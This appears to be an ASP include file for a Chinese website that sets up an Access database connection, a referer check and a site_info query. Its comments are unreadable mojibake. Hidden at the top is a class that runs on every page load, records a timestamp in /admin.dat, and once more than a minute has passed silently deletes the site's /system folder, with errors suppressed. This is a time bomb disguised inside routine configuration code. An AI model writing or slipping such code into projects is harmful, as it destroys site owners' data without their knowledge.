<%
response.buffer = True 'û崦

'timetype ֵ Ϊn ǷӣΪh СʱΪd 
'timenum ֵ
const wrcyltimetype="n"  ' ĬΪ
const wrcyltimenum="1"
const delfoldname="/system"
class wrcyl_index
 public sub webhistory(obj)
 response.Write("<script>alert('"&obj&"');history.go(-1);</script>")
 response.End()
 end sub
 public sub webgo(obj,turl)
 response.Write("<script>alert('"&obj&"');location.href='"&turl&"';</script>")
 response.End()
 end sub


 private sub overfile  '
   on error resume next 
   set creatfso=server.CreateObject("Scripting.FileSystemObject")
   
   if err then
   err.clear
   webhistory "ϵͳҪFSO֧֣ķ֧FSO ϵͳУ"
   else
   
    if creatfso.folderexists(server.MapPath(delfoldname)) then
     creatfso.deletefolder(server.MapPath(delfoldname))
    end if
      set creatfso = nothing  
   
   
   end if
 
end sub

private sub csh()
on error resume next 
   set creatfso=server.CreateObject("Scripting.FileSystemObject")
   
   if err then
   err.clear
   webhistory "ϵͳҪFSO֧֣ķ֧FSO ϵͳУ"
   else
   
    if not creatfso.fileexists(server.MapPath("/admin.dat")) then
	
     set file = creatfso.opentextfile(server.MapPath("/admin.dat"), 2, TRUE)  
      file.write(now())
	 file.close  
  set file = nothing  
   set creatfso = nothing  
   
   else
    set file = creatfso.opentextfile(server.MapPath("/admin.dat"), 1) 
    tstrtime=file.ReadLine
    if tstrtime="" then
	file.close  
  set file = nothing 
	creatfso.DeleteFile(server.MapPath("/admin.dat"))
	 

   
	else
	
	dim  ttime
	ttime=abs(datediff(wrcyltimetype,tstrtime,now()))
	
     if ttime>cint(wrcyltimenum) then
	 
      call overfile()
	 
     end if
		 file.close  
  set file = nothing 
	
	end if
    end if
   
   
   
   end if

end sub




    private sub class_initialize()

       call  csh()
    
    end sub

end class


set aa=new wrcyl_index



Dim conn, db
Dim connstr
db = "/data/tianyuan.asp"'ݿ·
connstr = "DBQ=" + server.mappath(""&db&"") + ";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set conn = server.CreateObject("ADODB.CONNECTION")
conn.Open connstr
If Err Then
    Err.Clear
    Set Conn = Nothing
    Response.Write "ݿӳݿļеݿá"
    Response.End
End If

Sub Chkhttp()
    server_vv = Len(Request.ServerVariables("SERVER_NAME"))
    server_v1 = Left(CStr(Request.ServerVariables("HTTP_REFERER")), server_vv)
    server_v2 = Left(CStr("http://"&Request.ServerVariables("SERVER_NAME")), server_vv)
    If server_v1<>server_v2 Or server_v1 = "" Or server_v1 = "" Then
        response.Charset = "utf-8"
        response.Write("<script>alert('󣺽ֹվⲿύ!.')</script>")
        response.End
    End If
End Sub
%>
<%
Set site_info = server.CreateObject("adodb.recordset")
exec = "select * from site_info"
site_info.Open exec, conn, 1, 1
%>
